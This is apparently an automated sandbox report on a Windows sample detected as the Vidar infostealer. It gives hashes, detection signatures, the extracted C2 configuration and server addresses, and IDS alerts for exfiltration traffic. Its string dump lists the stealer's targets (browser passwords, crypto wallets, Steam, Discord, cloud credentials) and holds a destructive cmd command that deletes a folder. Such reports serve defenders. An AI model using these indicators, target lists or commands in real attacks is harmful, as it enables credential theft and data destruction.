Windows Analysis Report
TestLAB.exe

Overview

General Information

Sample name: TestLAB.exe
Analysis ID: 1599367
MD5: 9079a7973285431e7bb10d19d871005c
SHA1: c885545ef095a667b7812be785f730c31bb6003f
SHA256: 97af550a6339c024313f90c4fdb31ab544eb53210f29f5f93f47980b88d924d2
Tags: exevidaruser-msz
Infos:

Detection

Vidar
Score: 100
Range: 0 - 100
Whitelisted: false
Confidence: 100%

Signatures

Antivirus detection for URL or domain
Attempt to bypass Chrome Application-Bound Encryption
Found malware configuration
Malicious sample detected (through community Yara rule)
Suricata IDS alerts for network traffic
Yara detected AntiVM3
Yara detected Powershell download and execute
Yara detected Vidar stealer
.NET source code contains method to dynamically call methods (often used by packers)
.NET source code contains potential unpacker
C2 URLs / IPs found in malware configuration
Found many strings related to Crypto-Wallets (likely being stolen)
Injects a PE file into a foreign processes
Joe Sandbox ML detected suspicious sample
Searches for specific processes (likely to inject)
Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)
Tries to harvest and steal Bitcoin Wallet information
Tries to harvest and steal Putty / WinSCP information (sessions, passwords, etc)
Tries to harvest and steal browser information (history, passwords, etc)
Tries to harvest and steal ftp login credentials
Tries to steal Crypto Currency Wallets
Writes to foreign memory regions
Yara detected Costura Assembly Loader
Allocates memory with a write watch (potentially for evading sandboxes)
Contains functionality to call native functions
Contains functionality to dynamically determine API calls
Contains functionality to query locales information (e.g. system language)
Contains functionality to read the PEB
Contains functionality to record screenshots
Contains functionality which may be used to detect a debugger (GetProcessHeap)
Creates a process in suspended mode (likely to inject code)
Detected non-DNS traffic on DNS port
Detected potential crypto function
Enables debug privileges
Extensive use of GetProcAddress (often used to hide API calls)
Found evasive API chain (date check)
Found inlined nop instructions (likely shell or obfuscated code)
Found potential string decryption / allocating functions
HTTP GET or POST without a user agent
IP address seen in connection with other malware
Internet Provider seen in connection with other malware
JA3 SSL client fingerprint seen in connection with other malware
May sleep (evasive loops) to hinder dynamic analysis
PE / OLE file has an invalid certificate
PE file contains an invalid checksum
Queries information about the installed CPU (vendor, model number etc)
Queries the volume information (name, serial number etc) of a device
Sample file is different than original file name gathered from version info
Sigma detected: Browser Started with Remote Debugging
Uses 32bit PE files
Uses Microsoft's Enhanced Cryptographic Provider
Uses code obfuscation techniques (call, push, ret)
Yara detected Credential Stealer
Yara detected Keylogger Generic
Yara signature match

Classification

RansomwareSpreadingPhishingBankerTrojan / BotAdwareSpywareExploiterEvaderMinercleansuspiciousmalicious

AV Detection

barindex
Source: https://indybike.shop Avira URL Cloud: Label: malware
Source: 00000004.00000002.2388266536.0000000000400000.00000040.00000400.00020000.00000000.sdmp Malware Configuration Extractor: Vidar {"C2 url": "https://steamcommunity.com/profiles/76561199819539662", "Botnet": "go2dniz"}
Source: Submited Sample Integrated Neural Analysis Model: Matched 100.0% probability
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe Code function: 4_2_00405FE7 CryptUnprotectData,LocalAlloc,LocalFree, 4_2_00405FE7
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe Code function: 4_2_0040E7E9 CryptBinaryToStringA,GetProcessHeap,RtlAllocateHeap,CryptBinaryToStringA,GetLastError,GetProcessHeap,HeapFree, 4_2_0040E7E9
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe Code function: 4_2_00406062 BCryptCloseAlgorithmProvider,BCryptDestroyKey, 4_2_00406062
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe Code function: 4_2_0040627F LocalAlloc,BCryptDecrypt, 4_2_0040627F
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe Code function: 4_2_0040609C BCryptOpenAlgorithmProvider,BCryptSetProperty,BCryptGenerateSymmetricKey, 4_2_0040609C
Source: TestLAB.exe Static PE information: EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, BYTES_REVERSED_LO, 32BIT_MACHINE, BYTES_REVERSED_HI
Source: unknown HTTPS traffic detected: 149.154.167.99:443 -> 192.168.2.4:49739 version: TLS 1.2
Source: unknown HTTPS traffic detected: 5.75.209.106:443 -> 192.168.2.4:49740 version: TLS 1.2
Source: Binary string: vdr1.pdb source: TestLAB.exe, 00000000.00000002.2011205715.00000000043EB000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, InstallUtil.exe, 00000004.00000002.2388266536.0000000000400000.00000040.00000400.00020000.00000000.sdmp
Source: Binary string: A{"id":1,"method":"Storage.getCookies"}|.tgz.gzSecurityHistoryWork Dir: In memorySOFTWARE\Microsoft\Cryptographyfirefox%08lX%04lX%lu_key.txtSoft\Steam\steam_tokens.txt\Discord\tokens.txtpasswords.txtinformation.txtlocalhostWebSocketClient" & exitGdipGetImageHeightSoftGdipGetImagePixelFormatN0ZWFt\Monero\wallet.keysAzure\.awsstatusWallets_CreateProcessGdipGetImageEncodershttpsSoftware\Martin Prikryl\WinSCP 2\SessionsPlugins/devtoolsprefs.jsLocal Extension SettingsSync Extension SettingsFilescookiesCookies\BraveWallet\Preferenceskey_datas%s\%s\%sPortNumberCurrentBuildNumberGdiplusStartup.zipGdipCreateHBITMAPFromBitmapOpera Crypto.zooUnknownGdiplusShutdown/json_logins.jsoninvalid string positionSoftware\Martin Prikryl\WinSCP 2\ConfigurationDisplayVersionSOFTWARE\Microsoft\Windows NT\CurrentVersionopentokenamcommunity.comTelegramSoftware\Valve\SteamGdipSaveImageToStreamGdipLoadImageFromStream\AppData\Roaming\FileZilla\recentservers.xml.dllSOFTWARE\Microsoft\Windows\CurrentVersion\Uninstallapprove_aprilNetworkblock.arjprofiles.ini.lzhGdipGetImageWidthwallet_pathSteamPathscreenshot.jpgstring too longvector<T> too longProcessorNameStringloginusers.vdflibraryfolders.vdfconfig.vdfDialogConfig.vdfDialogConfigOverlay*.vdfGdipGetImageEncodersSizesteam.exeC:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeC:\Windows\system32\cmd.exeC:\Windows\system32\rundll32.exeBravetrueformhistory.sqlitecookies.sqliteplaces.sqliteLocal StatefalseAzure\.azureSOFTWARE\monero-project\monero-corechromefile_nameDisplayNameHostNameProductNameUserNameGdipSaveImageToFilemsal.cacheGdipDisposeImagemodeAzure\.IdentityServiceUseMasterPasswordhwidMachineGuidtask_idbuild_idCrash DetectedDisabled%dx%d%d/%d/%d %d:%d:%d.arcvdr1.pdb\Local Storage\leveldb_0.indexeddb.leveldb_formhistory.db_history.db_cookies.db_passwords.db_webdata.db_key4.db\key4.dbfile_dataLogin DataWeb DataoperaOperachrome-extension_[Processes][Software]\storage\default\\.aws\errors\\Telegram Desktop\\Steam\\config\\.azure\ Stable\\.IdentityService\\discord\/c timeout /t 10 & rd /s /q "C:\ProgramData\" & rd /s /q "C:\ProgramData\\..\.ZDISPLAYOpera GXEXCEPTION_INT_OVERFLOWEXCEPTION_FLT_OVERFLOWEXCEPTION_STACK_OVERFLOWEXCEPTION_FLT_UNDERFLOWPOSTEXCEPTION_BREAKPOINT\Local Storage\leveldb\CURRENTEXCEPTION_DATATYPE_MISALIGNMENTEXCEPTION_FLT_INEXACT_RESULTGETEXCEPTION_IN_PAGE_ERRORdQw4w9WgXcQEXCEPTION_SINGLE_STEPGdipCreateBitmapFromHBITMAPEXCEPTION_INT_DIVIDE_BY_ZEROEXCEPTION_FLT_DIVIDE_BY_ZEROEXCEPTION_NONCONTINUABLE_EXCEPTIONUNKNOWN EXCEPTIONEXCEPTION_INVALID_DISPOSITIONEXCEPTION_PRIV_INSTRUCTIONEXCEPTION_ILLEGAL_INSTRUCTIONEXCEPTION_FLT_INVALID_OPERATIONEXCEPTION_ACCESS_VIOLATIONEXCEPTION_FLT_STACK_CHECKEXCEPTION_FLT_DENORMAL_OPERANDEXCEPTION_ARRAY_BOUNDS_EXCEEDED%d MBIndexedDBOCALAPPDATA?<Host><Port><User><Pass encoding="base64">http://localhost:"webSocketDebuggerUrl":6^userContextId=4294967295465 79 41 69 64 48 6C 77 49 6A 6F 67 49 6B 70 58 56 43 49 73ws://localhost:9223.metadata-v2:22.ps15121Windows 11HTTP/1.1HARDWA
Source: Binary string: C:\Users\dahall\Documents\GitHubRepos\TaskScheduler\TaskService\obj\Release\net40\Microsoft.Win32.TaskScheduler.pdbSHA256e source: TestLAB.exe, 00000000.00000002.2023367902.0000000006B00000.00000004.08000000.00040000.00000000.sdmp, TestLAB.exe, 00000000.00000002.2011205715.00000000043EB000.00000004.00000800.00020000.00000000.sdmp, TestLAB.exe, 00000000.00000002.2011205715.000000000432D000.00000004.00000800.00020000.00000000.sdmp
Source: Binary string: C:\Users\dahall\Documents\GitHubRepos\TaskScheduler\TaskService\obj\Release\net40\Microsoft.Win32.TaskScheduler.pdb source: TestLAB.exe, 00000000.00000002.2023367902.0000000006B00000.00000004.08000000.00040000.00000000.sdmp, TestLAB.exe, 00000000.00000002.2011205715.00000000043EB000.00000004.00000800.00020000.00000000.sdmp, TestLAB.exe, 00000000.00000002.2011205715.000000000432D000.00000004.00000800.00020000.00000000.sdmp
Source: Binary string: protobuf-net.pdbSHA256}Lq source: TestLAB.exe, 00000000.00000002.2011205715.00000000042B1000.00000004.00000800.00020000.00000000.sdmp, TestLAB.exe, 00000000.00000002.2023009276.0000000006AB0000.00000004.08000000.00040000.00000000.sdmp, TestLAB.exe, 00000000.00000002.2011205715.000000000432D000.00000004.00000800.00020000.00000000.sdmp
Source: Binary string: protobuf-net.pdb source: TestLAB.exe, 00000000.00000002.2011205715.00000000042B1000.00000004.00000800.00020000.00000000.sdmp, TestLAB.exe, 00000000.00000002.2023009276.0000000006AB0000.00000004.08000000.00040000.00000000.sdmp, TestLAB.exe, 00000000.00000002.2011205715.000000000432D000.00000004.00000800.00020000.00000000.sdmp
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe Code function: 4_2_00413C71 SHGetFolderPathA,wsprintfA,FindFirstFileA,FindNextFileA,strcpy,_splitpath,strcpy,strlen,isupper,wsprintfA,strcpy,strlen,SHFileOperationA,FindNextFileA,FindNextFileA,FindClose, 4_2_00413C71
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe Code function: 4_2_004112E8 wsprintfA,FindFirstFileA,memset,memset,wsprintfA,StrCmpCA,wsprintfA,wsprintfA,memset,lstrcatA,strtok_s,SymMatchString,strtok_s,memset,lstrcatA,strtok_s,PathMatchSpecA,DeleteFileA,DeleteFileA,CopyFileA,__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z,DeleteFileA,FindNextFileA,FindClose, 4_2_004112E8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe Code function: 4_2_00407891 FindFirstFileA,CopyFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,FindNextFileA,FindClose, 4_2_00407891
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe Code function: 4_2_0040A69C FindFirstFileA,StrCmpCA,CopyFileA,Sleep,DeleteFileA,FindNextFileA,FindClose, 4_2_0040A69C
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe Code function: 4_2_00408776 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,FindNextFileA, 4_2_00408776
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe Code function: 4_2_00411D33 wsprintfA,FindFirstFileA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,FindNextFileA,FindClose, 4_2_00411D33
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe Code function: 4_2_004013DA FindFirstFileA,FindNextFileA,FindFirstFileA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,CopyFileA,DeleteFileA,FindNextFileA,FindNextFileA,FindClose, 4_2_004013DA
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe Code function: 4_2_00406784 ExpandEnvironmentStringsA,FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,CopyFileA,StrCmpCA,CopyFileA,CopyFileA,Sleep,StrCmpCA,StrCmpCA,CopyFileA,CopyFileA,memset,lstrcatA,lstrcatA,lstrcatA,lstrcatA,CopyFileA,DeleteFileA,memset,lstrcatA,lstrcatA,lstrcatA,lstrcatA,FindNextFileA,FindClose, 4_2_00406784
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe Code function: 4_2_00412BBE wsprintfA,FindFirstFileA,wsprintfA,wsprintfA,StrCmpCA,wsprintfA,wsprintfA,PathMatchSpecA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,CopyFileA,DeleteFileA,FindNextFileA,FindClose, 4_2_00412BBE
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe Code function: 4_2_00409C78 wsprintfA,FindFirstFileA,lstrlenA,DeleteFileA,CopyFileA,FindNextFileA,FindClose, 4_2_00409C78
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe Code function: 4_2_00408224 FindFirstFileA,CopyFileA,DeleteFileA,FindNextFileA,FindClose, 4_2_00408224
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe Code function: 4_2_0041269A GetProcessHeap,HeapAlloc,wsprintfA,FindFirstFileA,wsprintfA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,lstrcatA,lstrcatA,lstrcatA,lstrlenA,lstrlenA, 4_2_0041269A
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe Code function: 4_2_00411883 SymMatchString,SymMatchString,SymMatchString,GetLogicalDriveStringsA,memset,GetDriveTypeA,lstrcpyA,lstrcpyA,lstrcpyA,lstrlenA, 4_2_00411883
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\html\ Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\ Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\images\ Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\ Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\bg\ Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\css\ Jump to behavior
Source: C:\Users\user\Desktop\TestLAB.exe Code function: 4x nop then jmp 0684FE2Ah 0_2_0684FD9F
Source: C:\Users\user\Desktop\TestLAB.exe Code function: 4x nop then jmp 0684FE2Ah 0_2_0684FDA8
Source: C:\Users\user\Desktop\TestLAB.exe Code function: 4x nop then jmp 069D1F21h 0_2_069D1EC3
Source: C:\Users\user\Desktop\TestLAB.exe Code function: 4x nop then jmp 069D1F21h 0_2_069D1D10
Source: C:\Users\user\Desktop\TestLAB.exe Code function: 4x nop then jmp 069D1F21h 0_2_069D1D20
Source: C:\Users\user\Desktop\TestLAB.exe Code function: 4x nop then jmp 069F2868h 0_2_069F27B0
Source: C:\Users\user\Desktop\TestLAB.exe Code function: 4x nop then jmp 069F2868h 0_2_069F27A8
Source: C:\Users\user\Desktop\TestLAB.exe Code function: 4x nop then mov dword ptr [ebp-20h], 00000000h 0_2_06A0D938
Source: chrome.exe Memory has grown: Private usage: 13MB later: 40MB

Networking

barindex
Source: Network traffic Suricata IDS: 2049087 - Severity 1 - ET MALWARE Win32/Stealc/Vidar Stealer Style Headers In HTTP POST M1 : 192.168.2.4:53643 -> 5.75.209.106:443
Source: Network traffic Suricata IDS: 2059331 - Severity 1 - ET MALWARE Win32/Stealc/Vidar Stealer Style Headers In HTTP POST M2 : 192.168.2.4:53646 -> 5.75.209.106:443
Source: Network traffic Suricata IDS: 2059331 - Severity 1 - ET MALWARE Win32/Stealc/Vidar Stealer Style Headers In HTTP POST M2 : 192.168.2.4:53671 -> 5.75.209.106:443
Source: Network traffic Suricata IDS: 2859378 - Severity 1 - ETPRO MALWARE Win32/Stealc/Vidar Stealer Host Details Exfil (POST) M2 : 192.168.2.4:49741 -> 5.75.209.106:443
Source: Network traffic Suricata IDS: 2059331 - Severity 1 - ET MALWARE Win32/Stealc/Vidar Stealer Style Headers In HTTP POST M2 : 192.168.2.4:53676 -> 5.75.209.106:443
Source: Network traffic Suricata IDS: 2859636 - Severity 1 - ETPRO MALWARE Vidar/StealC CnC Exfil via SQL Database (POST) : 192.168.2.4:53676 -> 5.75.209.106:443
Source: Network traffic Suricata IDS: 2051831 - Severity 1 - ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config M1 : 5.75.209.106:443 -> 192.168.2.4:53643
Source: Network traffic Suricata IDS: 2059331 - Severity 1 - ET MALWARE Win32/Stealc/Vidar Stealer Style Headers In HTTP POST M2 : 192.168.2.4:53645 -> 5.75.209.106:443
Source: Network traffic Suricata IDS: 2059331 - Severity 1 - ET MALWARE Win32/Stealc/Vidar Stealer Style Headers In HTTP POST M2 : 192.168.2.4:53673 -> 5.75.209.106:443
Source: Network traffic Suricata IDS: 2859636 - Severity 1 - ETPRO MALWARE Vidar/StealC CnC Exfil via SQL Database (POST) : 192.168.2.4:53673 -> 5.75.209.106:443
Source: Network traffic Suricata IDS: 2059331 - Severity 1 - ET MALWARE Win32/Stealc/Vidar Stealer Style Headers In HTTP POST M2 : 192.168.2.4:53692 -> 5.75.209.106:443
Source: Network traffic Suricata IDS: 2859636 - Severity 1 - ETPRO MALWARE Vidar/StealC CnC Exfil via SQL Database (POST) : 192.168.2.4:53692 -> 5.75.209.106:443
Source: Network traffic Suricata IDS: 2059331 - Severity 1 - ET MALWARE Win32/Stealc/Vidar Stealer Style Headers In HTTP POST M2 : 192.168.2.4:53674 -> 5.75.209.106:443
Source: Network traffic Suricata IDS: 2859636 - Severity 1 - ETPRO MALWARE Vidar/StealC CnC Exfil via SQL Database (POST) : 192.168.2.4:53674 -> 5.75.209.106:443
Source: Network traffic Suricata IDS: 2059331 - Severity 1 - ET MALWARE Win32/Stealc/Vidar Stealer Style Headers In HTTP POST M2 : 192.168.2.4:53678 -> 5.75.209.106:443
Source: Network traffic Suricata IDS: 2859636 - Severity 1 - ETPRO MALWARE Vidar/StealC CnC Exfil via SQL Database (POST) : 192.168.2.4:53678 -> 5.75.209.106:443
Source: Network traffic Suricata IDS: 2044247 - Severity 1 - ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config : 5.75.209.106:443 -> 192.168.2.4:49743
Source: Network traffic Suricata IDS: 2059331 - Severity 1 - ET MALWARE Win32/Stealc/Vidar Stealer Style Headers In HTTP POST M2 : 192.168.2.4:53672 -> 5.75.209.106:443
Source: Network traffic Suricata IDS: 2859636 - Severity 1 - ETPRO MALWARE Vidar/StealC CnC Exfil via SQL Database (POST) : 192.168.2.4:53672 -> 5.75.209.106:443
Source: Network traffic Suricata IDS: 2059331 - Severity 1 - ET MALWARE Win32/Stealc/Vidar Stealer Style Headers In HTTP POST M2 : 192.168.2.4:53677 -> 5.75.209.106:443
Source: Network traffic Suricata IDS: 2059331 - Severity 1 - ET MALWARE Win32/Stealc/Vidar Stealer Style Headers In HTTP POST M2 : 192.168.2.4:53681 -> 5.75.209.106:443
Source: Network traffic Suricata IDS: 2859636 - Severity 1 - ETPRO MALWARE Vidar/StealC CnC Exfil via SQL Database (POST) : 192.168.2.4:53677 -> 5.75.209.106:443
Source: Network traffic Suricata IDS: 2859636 - Severity 1 - ETPRO MALWARE Vidar/StealC CnC Exfil via SQL Database (POST) : 192.168.2.4:53681 -> 5.75.209.106:443
Source: Network traffic Suricata IDS: 2059331 - Severity 1 - ET MALWARE Win32/Stealc/Vidar Stealer Style Headers In HTTP POST M2 : 192.168.2.4:53679 -> 5.75.209.106:443
Source: Network traffic Suricata IDS: 2859636 - Severity 1 - ETPRO MALWARE Vidar/StealC CnC Exfil via SQL Database (POST) : 192.168.2.4:53679 -> 5.75.209.106:443
Source: Network traffic Suricata IDS: 2059331 - Severity 1 - ET MALWARE Win32/Stealc/Vidar Stealer Style Headers In HTTP POST M2 : 192.168.2.4:53675 -> 5.75.209.106:443
Source: Network traffic Suricata IDS: 2059331 - Severity 1 - ET MALWARE Win32/Stealc/Vidar Stealer Style Headers In HTTP POST M2 : 192.168.2.4:53720 -> 5.75.209.106:443
Source: Malware configuration extractor URLs: https://steamcommunity.com/profiles/76561199819539662
Source: global traffic TCP traffic: 192.168.2.4:53641 -> 162.159.36.2:53
Source: global traffic HTTP traffic detected: GET /sc1phell HTTP/1.1Host: t.meConnection: Keep-AliveCache-Control: no-cache
Source: Joe Sandbox View IP Address: 239.255.255.250 239.255.255.250
Source: Joe Sandbox View IP Address: 149.154.167.99 149.154.167.99
Source: Joe Sandbox View IP Address: 149.154.167.99 149.154.167.99
Source: Joe Sandbox View ASN Name: HETZNER-ASDE HETZNER-ASDE
Source: Joe Sandbox View JA3 fingerprint: 37f463bf4616ecd445d4a1937da06e19
Source: unknown TCP traffic detected without corresponding DNS query: 173.222.162.32
Source: unknown TCP traffic detected without corresponding DNS query: 173.222.162.32
Source: unknown TCP traffic detected without corresponding DNS query: 162.159.36.2
Source: unknown TCP traffic detected without corresponding DNS query: 162.159.36.2
Source: unknown TCP traffic detected without corresponding DNS query: 162.159.36.2
Source: unknown TCP traffic detected without corresponding DNS query: 162.159.36.2
Source: unknown TCP traffic detected without corresponding DNS query: 2.17.189.192
Source: unknown TCP traffic detected without corresponding DNS query: 2.17.189.192
Source: unknown TCP traffic detected without corresponding DNS query: 2.17.189.192
Source: unknown TCP traffic detected without corresponding DNS query: 2.17.189.192
Source: unknown UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe Code function: 4_2_00403C79 InternetOpenA,StrCmpCA,InternetConnectA,HttpOpenRequestA,InternetSetOptionA,HttpSendRequestA,HttpQueryInfoA,InternetReadFile,InternetCloseHandle,InternetCloseHandle, 4_2_00403C79
Source: global traffic HTTP traffic detected: GET /sc1phell HTTP/1.1Host: t.meConnection: Keep-AliveCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:136.0) Gecko/20100101 Firefox/136.0Host: indybike.shopConnection: Keep-AliveCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /complete/search?client=chrome-omni&gs_ri=chrome-ext-ansg&xssi=t&q=&oit=0&oft=1&pgcl=20&gs_rn=42&sugkey=AIzaSyBOti4mM-6x9WDnZIjIeyEU21OpBXqWBgw HTTP/1.1Host: www.google.comConnection: keep-aliveX-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiTocsBCJz+zAEIhaDNAQjcvc0BCLnKzQEIotHNAQiK080BCJ7WzQEIp9jNAQj5wNQVGPbJzQEYutLNARjrjaUXSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic HTTP traffic detected: GET /async/newtab_ogb?hl=en-US&async=fixed:0 HTTP/1.1Host: www.google.comConnection: keep-aliveX-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiTocsBCJz+zAEIhaDNAQjcvc0BCLnKzQEIotHNAQiK080BCJ7WzQEIp9jNAQj5wNQVGPbJzQEYutLNARjrjaUXSec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic HTTP traffic detected: GET /async/newtab_promos HTTP/1.1Host: www.google.comConnection: keep-aliveSec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic HTTP traffic detected: GET /_/scs/abc-static/_/js/k=gapi.gapi.en.l2ZUC8FxqV8.O/m=gapi_iframes,googleapis_client/rt=j/sv=1/d=1/ed=1/rs=AHpOoo9xAAkaXO7Lqf7-9uTpZLtrkpWaXQ/cb=gapi.loaded_0 HTTP/1.1Host: apis.google.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: */*X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiTocsBCJz+zAEIhaDNAQi5ys0BCIrTzQEY9snNARjrjaUXSec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: chrome.exe, 00000005.00000003.2105079917.00006E180040C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000003.2104433101.00006E1800380000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000003.2105004295.00006E1800F10000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: const FACEBOOK_APP_ID=738026486351791;class DoodleShareDialogElement extends PolymerElement{static get is(){return"ntp-doodle-share-dialog"}static get template(){return getTemplate$3()}static get properties(){return{title:String,url:Object}}onFacebookClick_(){const url="https://www.facebook.com/dialog/share"+`?app_id=${FACEBOOK_APP_ID}`+`&href=${encodeURIComponent(this.url.url)}`+`&hashtag=${encodeURIComponent("#GoogleDoodle")}`;WindowProxy.getInstance().open(url);this.notifyShare_(DoodleShareChannel.kFacebook)}onTwitterClick_(){const url="https://twitter.com/intent/tweet"+`?text=${encodeURIComponent(`${this.title}\n${this.url.url}`)}`;WindowProxy.getInstance().open(url);this.notifyShare_(DoodleShareChannel.kTwitter)}onEmailClick_(){const url=`mailto:?subject=${encodeURIComponent(this.title)}`+`&body=${encodeURIComponent(this.url.url)}`;WindowProxy.getInstance().navigate(url);this.notifyShare_(DoodleShareChannel.kEmail)}onCopyClick_(){this.$.url.select();navigator.clipboard.writeText(this.url.url);this.notifyShare_(DoodleShareChannel.kLinkCopy)}onCloseClick_(){this.$.dialog.close()}notifyShare_(channel){this.dispatchEvent(new CustomEvent("share",{detail:channel}))}}customElements.define(DoodleShareDialogElement.is,DoodleShareDialogElement);function getTemplate$2(){return html`<!--_html_template_start_--><style include="cr-hidden-style">:host{--ntp-logo-height:200px;display:flex;flex-direction:column;flex-shrink:0;justify-content:flex-end;min-height:var(--ntp-logo-height)}:host([reduced-logo-space-enabled_]){--ntp-logo-height:168px}:host([doodle-boxed_]){justify-content:flex-end}#logo{forced-color-adjust:none;height:92px;width:272px}:host([single-colored]) #logo{-webkit-mask-image:url(icons/google_logo.svg);-webkit-mask-repeat:no-repeat;-webkit-mask-size:100%;background-color:var(--ntp-logo-color)}:host(:not([single-colored])) #logo{background-image:url(icons/google_logo.svg)}#imageDoodle{cursor:pointer;outline:0}#imageDoodle[tabindex='-1']{cursor:auto}:host([doodle-boxed_]) #imageDoodle{background-color:var(--ntp-logo-box-color);border-radius:20px;padding:16px 24px}:host-context(.focus-outline-visible) #imageDoodle:focus{box-shadow:0 0 0 2px rgba(var(--google-blue-600-rgb),.4)}#imageContainer{display:flex;height:fit-content;position:relative;width:fit-content}#image{max-height:var(--ntp-logo-height);max-width:100%}:host([doodle-boxed_]) #image{max-height:160px}:host([doodle-boxed_][reduced-logo-space-enabled_]) 